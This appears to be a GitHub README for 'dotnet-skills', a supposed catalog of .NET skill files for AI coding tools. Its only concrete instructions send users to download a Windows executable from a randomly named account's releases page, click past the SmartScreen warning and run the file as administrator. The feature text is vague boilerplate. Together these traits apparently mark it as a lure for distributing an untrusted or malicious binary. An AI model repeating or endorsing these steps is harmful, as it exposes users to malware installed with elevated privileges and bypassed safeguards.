# 🧩 dotnet-skills - Simple .NET Skills for Every Tool

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## 🚀 What This Is

dotnet-skills is an installable skill catalog and CLI for Codex, Claude Code, GitHub Copilot, and Gemini.

It helps you add .NET skill files to your tools so they can use the same set of task guides, commands, and project notes.

Use it on Windows when you want a simple way to get the skill pack, install it, and start using it with your AI coding tools.

## 📥 Download

Visit this page to download:

https://github.com/Postpartum-genushyacinthus29/dotnet-skills/releases

On that page, pick the latest release and download the Windows file that matches your setup.

## 🖥️ Windows Setup

1. Open the release page.
2. Download the latest Windows package.
3. If the file is a `.zip`, right-click it and choose **Extract All**.
4. Open the extracted folder.
5. Find the app file or installer inside.
6. Double-click it to start the setup or run the CLI.

If Windows shows a smart screen prompt, choose **More info** and then **Run anyway** if you trust the source.

## 🧰 What You Get

dotnet-skills gives you a clean set of .NET-focused skills that can be used across:

- Claude Code
- Codex
- GitHub Copilot
- Gemini

It is built for common .NET work such as:

- project setup
- file and folder organization
- build and run steps
- test flow
- code review hints
- app support notes

## 🧭 How to Use It

After you install or run dotnet-skills, use it to load the skill catalog into your tool of choice.

Typical flow:

1. Start the CLI or open the installed app.
2. Choose the tool you want to use.
3. Pick the .NET skill pack or a single skill.
4. Copy the generated content into your AI tool.
5. Use it while you work on your project.

If the app offers a menu, use the menu to pick the option you want.

If the CLI asks for input, type the number or name shown on screen and press Enter.

## 🧩 Skills Included

The skill catalog is meant to cover common .NET work in plain language.

You can expect skill sets like:

- app setup
- solution layout
- package use
- testing steps
- debugging help
- build and publish notes
- code style checks
- API work
- config file guidance
- README help

The exact list can grow over time as new releases add more skill packs.

## ✅ Before You Start

Make sure your Windows PC can do these basic tasks:

- open a browser
- download a file
- extract a ZIP file
- run an app or CLI from a folder
- copy text into another app

For best results, use a recent version of Windows with enough free disk space for the app and the skill files.

## 🔧 Install Steps

1. Go to the release page.
2. Download the latest Windows release.
3. Save the file to a folder you can find again, like **Downloads**.
4. If it is a ZIP file, extract it.
5. Open the extracted folder.
6. Run the app or CLI file inside it.
7. Follow the on-screen prompts to finish setup.

If the release includes an installer, use that first.

If the release includes a portable file, you can run it from the folder without a full install.

## 💡 First Use

On first launch, the tool may ask you to:

- pick your AI tool
- choose a skill group
- set a working folder
- confirm a default path for saved files

Use the default choice if you are not sure what to pick.

You can change most of these settings later.

## 🗂️ Typical Folder Layout

If the app creates local files, you may see a simple folder structure like this:

- `skills`
- `config`
- `cache`
- `logs`

This helps the app keep your skill packs, settings, and activity data in separate places.

## 🛠️ Common Tasks

You may use dotnet-skills for:

- adding a new .NET project guide
- pulling the right skill set for Copilot
- creating a short setup note for Claude Code
- loading a skill pack for Codex
- preparing Gemini prompts for a .NET task
- keeping the same guide set across tools

## 🔒 File Safety

Only download dotnet-skills from the release page linked above.

Before you run the file, check that:

- the file came from the release page
- the download finished without errors
- the file name matches the release you selected

## 🧪 Troubleshooting

If the app does not open:

- try running it again
- right-click the file and choose **Run as administrator**
- check whether Windows blocked the file
- confirm that you downloaded the latest release

If the ZIP file will not extract:

- download it again
- make sure the file is fully saved
- try a different folder

If the CLI closes fast:

- open it from a terminal window if the release notes say to do that
- check for missing setup files in the same folder
- start it again and read the prompt before pressing keys

If your AI tool does not use the skill pack:

- make sure you picked the right tool in dotnet-skills
- copy the full skill text
- paste it into the right place in your tool

## 📌 Release Updates

New releases may add:

- more .NET skills
- better support for each AI tool
- clearer setup steps
- small fixes for Windows use

Check the release page from time to time if you want the newest version.

## 🧾 Quick Start

1. Open the release page.
2. Download the latest Windows file.
3. Extract it if needed.
4. Run the app or CLI.
5. Pick your AI tool.
6. Load the .NET skill pack.
7. Paste the result into Codex, Claude Code, GitHub Copilot, or Gemini